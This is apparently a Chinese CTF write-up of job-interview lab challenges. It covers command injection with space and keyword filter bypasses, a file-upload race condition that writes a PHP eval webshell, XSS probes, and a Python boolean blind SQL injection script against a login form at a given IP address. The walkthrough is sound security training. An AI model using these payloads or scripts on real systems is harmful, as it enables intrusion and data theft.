电话面试之后微信上发了四个靶场过来,做了三个靶场,记录获取​​flag​​的过程

第一题 (考点:命令执行)

浏览网站,在底部发现提示

山石网科面试靶场记录_状态码

看来是命令执行,执行一下​​ipconfig​

山石网科面试靶场记录_状态码_02

执行成功,抓包继续执行​​ls​

山石网科面试靶场记录_上传_03

尝试读取​​footer.php​

​shell=cat+footer.php​​,无回显

山石网科面试靶场记录_php_04

不确定是​​cat​​​还是空格被过滤,使用​​ ls -l​​检查是否是空格

​Shell=ls+-l​

山石网科面试靶场记录_php_05

看来空格被过滤,使用​​$IFS$9​​绕过

山石网科面试靶场记录_php_06

查看根目录下文件

​shell=ls$IFS$9/​

山石网科面试靶场记录_上传_07

这个应该是我们需要读取的

​shell=ls$IFS$9/realflag.txt$IFS$9-l​

无结果

山石网科面试靶场记录_php_08

​shell=ls$IFS$9about.php$IFS$9-l​

山石网科面试靶场记录_php_09

说明​​flag​​关键字段被过滤

​shell=cat$IFS$9about.php​

山石网科面试靶场记录_php_10

说明​​cat​​关键字被过滤

先拼接绕过​​cat​​过滤

​shell=a=c;b=at;c=about.php;$a$b$IFS$9$c​

山石网科面试靶场记录_状态码_11

然后拼接绕过flag关键字过滤

​shell=a=c;b=at;c=/realfl;d=ag.txt;$a$b$IFS$9$c$d​

获得flag

​flag{uyiwercjbajshiuqwjhcznbasdjh}​

山石网科面试靶场记录_状态码_12

第二题 (考点:文件上传之条件竞争)

访问,文件上传类题目

山石网科面试靶场记录_上传_13

上传一句话木马

山石网科面试靶场记录_状态码_14

访问则不存在

山石网科面试靶场记录_状态码_15

同时可知中间件为Apache

如果确实上传成功并保存了,但访问不了的话,猜测应该是后缀名不符合而导致被删除

上传保存+删除很容易想到了条件竞争漏洞

但是我们可以先尝试上传一下图片

山石网科面试靶场记录_状态码_16

正常的图片也会被删除,再测试一下jpg后缀

山石网科面试靶场记录_上传_17

同样被删除,应该是直接删除的upload文件夹下的新生成的文件,所以解析漏洞应该作用不大,尝试进行条件竞争

测试了一下能不能跨目录,好像不能,php文件内容为:

​<?php fputs(fopen('springbird.php','w'),'<?php @eval($_POST["cmd"])?>');?>​

因为测试了一下,写了两个文件,springbird.php和shell.php

​<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>​

山石网科面试靶场记录_上传_18

然后burpsuite开20线程,不断上传和不断访问test.php即可

然后成功写入shell

使用菜刀连接服务器连接被重置

山石网科面试靶场记录_php_19

猜测是菜刀的特征被阿里云拦截了,换成蚁剑

山石网科面试靶场记录_上传_20

找到​​flag​

山石网科面试靶场记录_状态码_21

​flag{please_do_some_liKe_hacker_ok}​

第三题 (考点:SQL注入)

山石网科面试靶场记录_状态码_22

尝试登录

​admin admin​

山石网科面试靶场记录_php_23

不过好像没有什么用,猜测是XSS或者SSTI

SSTI简单测试一下

山石网科面试靶场记录_状态码_24

无果

山石网科面试靶场记录_php_25

扫了一下敏感目录 无果

尝试XSS漏洞,发现反斜杠被过滤

Payload: ​​<script>alert(1)</script>​

山石网科面试靶场记录_状态码_26

构造payload:​​ <img src="javascript:alert(1);">​

发现空格,双引号被过滤

山石网科面试靶场记录_php_27

重构payload

用tab键代替空格​​ %09​

​<img src=x onerror=alert(1);>​

POST数据为:

​username=%3Cimg%09src%3Dx%09onerror%3Dalert%281%29%3B%3E&password=1&submit=​

山石网科面试靶场记录_上传_28

山石网科面试靶场记录_php_29

但是还是没有flag

去干了饭回来接着查看这道题

尝试使用万能密码登录,发现登录成功

账号:​​admin’# ​​密码:1

山石网科面试靶场记录_状态码_30

同时发现登录成功返回状态码为302,登录失败返回状态码为200,利用该条件可以进行SQL盲注

先试试能不能​​sqlmap​​一把梭

山石网科面试靶场记录_php_31

跑了一下无果

因为之前的XSS都进行了过滤,所以还是先进行手动注入

​username=admin'%09and%091=2#&password=1&submit=​

​username=admin'%09and%091=1#&password=1&submit=​

状态码不一致,说明有效,使用

先简单手动测试之后使用python编写盲注脚本

​username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata),1,1)))>1))#&password=1&submit=​

发现逗号也被过滤了

山石网科面试靶场记录_php_32

使用​​from 1 for 1 ​​进行替换

Payload为:

​username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))>1))#&password=1&submit=​

成功打出302状态码

山石网科面试靶场记录_上传_33

为了防止payload有问题,将判断ASCII数字修改为200试试

​username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))>200))#&password=1&submit=​

状态码恢复为200,说明​​payload​​无问题

山石网科面试靶场记录_上传_34

​username=admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%091%09for%091)))=105))#&password=1&submit=​

第一位ASCII为105,为​​i​

编写盲注脚本

获取数据库名

山石网科面试靶场记录_状态码_35

从​​sec​​数据库进一步获取表

山石网科面试靶场记录_php_36

从​​ctf_flags​​进一步获取列

山石网科面试靶场记录_状态码_37

读​​ggflag​

山石网科面试靶场记录_php_38

哦看来是个假的

读​​ctf_users​​表

山石网科面试靶场记录_上传_39

读了之后却显示为空

盲注脚本为:

#coding=utf-8
import requests

def login(_username,_password):
headers = {"Content-Type": "application/x-www-form-urlencoded"}
url = "http://222.92.194.24:20002/login.php"
data = {
"username":_username,
"password":_password,
"submit":None
}
payload = "username="+_username+"&password="+_password+"&submit="
#print(payload)
response = requests.post(url,data=payload,headers=headers,allow_redirects=False)
#print(response.text)
status_code = response.status_code
#print(type(status_code))
#print(str(status_code))
if status_code==302:
return True
else:
return False

def main():
find_name = ""
for i in range(0x50):
for j in range(0x80 , 0x20 , -1):
#_username="admin'%09and%09(((asCIi(sUBsTring((sELect%09gROup_conCAt(sCHEma_name)%09From%09inFormation_SChema.scHemata)%09from%09{}%09for%091)))={}))#".format(i,j)
#_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(Table_name)%09From%09inFormation_SChema.tAbles%09where%09taBle_schema=database())%09from%09{}%09for%091)))={}))#".format(i,j)
#_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(columN_name)%09From%09inFormation_SChema.columns%09where%09taBle_naMe='ctf_flags')%09from%09{}%09for%091)))={}))#".format(i,j)
#_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09ggflag%09From%09ctf_flags)%09from%09{}%09for%091)))={}))#".format(i,j)
#_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09group_concat(columN_name)%09From%09inFormation_SChema.columns%09where%09taBle_naMe='ctf_users')%09from%09{}%09for%091)))={}))#".format(i,j)
_username = "admin'%09and%09(((asCIi(sUBsTring((sELect%09gpass%09From%09ctf_users)%09from%09{}%09for%091)))={}))#".format(i,j)


_password="1"
#print(_username)
if login(_username,_password):
find_name+=chr(j)
print(find_name)
break

if __name__=='__main__':
main()

整理一下思路:​​ctf_flags​​​表里面我们已经读取了数据,但是是虚假的​​flag​​​,除非需要拿​​shell​​​在服务器的根目录下寻找​​flag​​​,不然​​flag​​​一定在​​ctf_users​​​表中,但之前的​​payload​​​没有读出数据,猜测可能是​​payload​​​里面有的关键字被过滤了但是没有被发现,所以再修改​​payload​

​_username ="admin'and(ascii(substr((select(group_concat(gpass))from(ctf_users))from({})for(1)))={})#".format(i,j)​

最终出flag的base64编码值

山石网科面试靶场记录_状态码_40

解码后​​flag​​为:

​flag{g00d_boy_a36_5i61}​

第四题

做了一会没做出来,然后就去玩巫师三了,菜狗的生活就是这么快乐